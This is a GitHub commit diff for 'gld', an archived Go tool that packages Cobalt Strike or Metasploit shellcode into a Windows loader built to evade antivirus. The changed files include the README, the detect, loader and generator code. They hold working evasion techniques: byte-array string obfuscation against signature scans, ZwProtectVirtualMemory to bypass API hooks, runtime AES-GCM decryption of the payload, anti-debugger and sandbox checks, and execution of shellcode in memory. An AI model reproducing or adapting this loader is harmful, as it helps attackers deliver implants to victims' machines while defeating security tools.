Skip to content
This repository has been archived by the owner on Jan 30, 2021. It is now read-only.

Commit

Permalink
Replace kernel32!VirtualProtect by ntdll!ZwProtectVirtualMemory
Browse files Browse the repository at this point in the history
  • Loading branch information
EddieIvan01 committed Aug 19, 2020
1 parent 78ba59a commit e713dbc
Show file tree
Hide file tree
Showing 4 changed files with 41 additions and 75 deletions.
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

## Usage

Generate shellcode by CS/MSF first, then use gld to compile wrapped-shellcode-binary:
Generate shellcode via CS/MSF first, then use gld to compile wrapped-binary:

```
./gld shellcode.bin [x64/x86]
Expand All @@ -12,9 +12,9 @@ Generate shellcode by CS/MSF first, then use gld to compile wrapped-shellcode-bi

### Loader

+ Change page's protect attribute to RWX then execute (`VirtualProtect` and syscall)
+ Dynamic loading DLL and target procedure (`LoadLibrary/GetProcAddress`)
+ Don't use string literal and use random procedure name, to avoid static memory matching
+ Shellcode is encrypted via AES-GCM, it will be decrypted and loaded in runtime
+ Use `ntdll!ZwProtectVirtualMemory` instead of `kernelbase!VirtualProtect` (bypass possible hooks) to bypass DEP
+ Use local variable instead of string literal to pass procedure name (`string([]byte{...})`), to avoid static memory matching

### Detector

Expand Down
40 changes: 10 additions & 30 deletions detect/detect.go
Original file line number Diff line number Diff line change
Expand Up @@ -76,24 +76,14 @@ func checkResource() bool {
return true
}

modKernel32, err := syscall.LoadLibrary(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l',
}))
if err != nil {
return false
}
procc316a0c981be, err := syscall.GetProcAddress(modKernel32, string([]byte{
'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x',
}))
if err != nil {
return false
}

memStatus := memoryStatusEx{}
memStatus.dwLength = (uint32)(unsafe.Sizeof(memStatus))
if ret, _, _ := syscall.Syscall(
procc316a0c981be,
1, (uintptr)(unsafe.Pointer(&memStatus)), 0, 0); ret == 0 {

if ret, _, _ := syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
})).NewProc(string([]byte{
'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x',
})).Call((uintptr)(unsafe.Pointer(&memStatus))); ret == 0 {
return false
}

Expand Down Expand Up @@ -134,21 +124,11 @@ func detectDBG() bool {
err = syscall.Process32Next(handle, &pe32)
}

modKernel32, err := syscall.LoadLibrary(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l',
}))
if err != nil {
return false
}
procdd3ddec77639, err := syscall.GetProcAddress(modKernel32, string([]byte{
if ret, _, _ := syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
})).NewProc(string([]byte{
'I', 's', 'D', 'e', 'b', 'u', 'g', 'g', 'e', 'r', 'P', 'r', 'e', 's', 'e', 'n', 't',
}))
if err != nil {
return false
}

ret, _, _ := syscall.Syscall(procdd3ddec77639, 0, 0, 0, 0)
if ret != 0 {
})).Call(); ret != 0 {
return true
}

Expand Down
24 changes: 13 additions & 11 deletions gld.go
Original file line number Diff line number Diff line change
Expand Up @@ -14,21 +14,16 @@ var template = `package main
import (
"encoding/base64"
"encoding/hex"
"gld/detect"
"gld/loader"
"gld/util"
"gld/detect"
)
var (
key, _ = hex.DecodeString("%x")
nonce, _ = hex.DecodeString("%x")
)
func main() {
if !detect.ContinueRun() { return }
if loader.Init() != nil { return }
key, _ := base64.StdEncoding.DecodeString("%s")
nonce, _ := base64.StdEncoding.DecodeString("%s")
buf, _ := base64.StdEncoding.DecodeString("%s")
buf = util.D(buf, key, nonce)
Expand Down Expand Up @@ -57,9 +52,16 @@ func main() {
rand.Read(nonce)

raw = util.E(raw, key, nonce)

flw := base64.StdEncoding.EncodeToString(raw)
err = ioutil.WriteFile(TEMP, []byte(fmt.Sprintf(template, key, nonce, flw)), 0777)
err = ioutil.WriteFile(
TEMP,
[]byte(fmt.Sprintf(
template,
base64.StdEncoding.EncodeToString(key),
base64.StdEncoding.EncodeToString(nonce),
base64.StdEncoding.EncodeToString(raw)),
),
0777,
)
if err != nil {
println("[!] Generate fail: " + err.Error())
return
Expand Down
44 changes: 14 additions & 30 deletions loader/loader.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,42 +5,26 @@ import (
"unsafe"
)

var (
proc42526789738d uintptr
)

const (
PAGE_EXECUTE_READ = 0x20
PAGE_EXECUTE_READ uintptr = 0x20
)

func Init() error {
modKernel32, err := syscall.LoadLibrary(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l',
}))
if err != nil {
return err
}

proc42526789738d, err = syscall.GetProcAddress(modKernel32, string([]byte{
'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't',
}))
if err != nil {
return err
}

return nil
}

func X(buf []byte) {
var hProcess uintptr = 0
var pBaseAddr = uintptr(unsafe.Pointer(&buf[0]))
var dwBufferLen = uint32(len(buf))
var dwOldPerm uint32
syscall.Syscall6(
proc42526789738d,
4,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
uintptr(PAGE_EXECUTE_READWRITE),

syscall.NewLazyDLL(string([]byte{
'n', 't', 'd', 'l', 'l',
})).NewProc(string([]byte{
'Z', 'w', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y',
})).Call(
hProcess-1,
uintptr(unsafe.Pointer(&pBaseAddr)),
uintptr(unsafe.Pointer(&dwBufferLen)),
PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&dwOldPerm)),
0, 0,
)

syscall.Syscall(
Expand Down

0 comments on commit e713dbc

Please sign in to comment.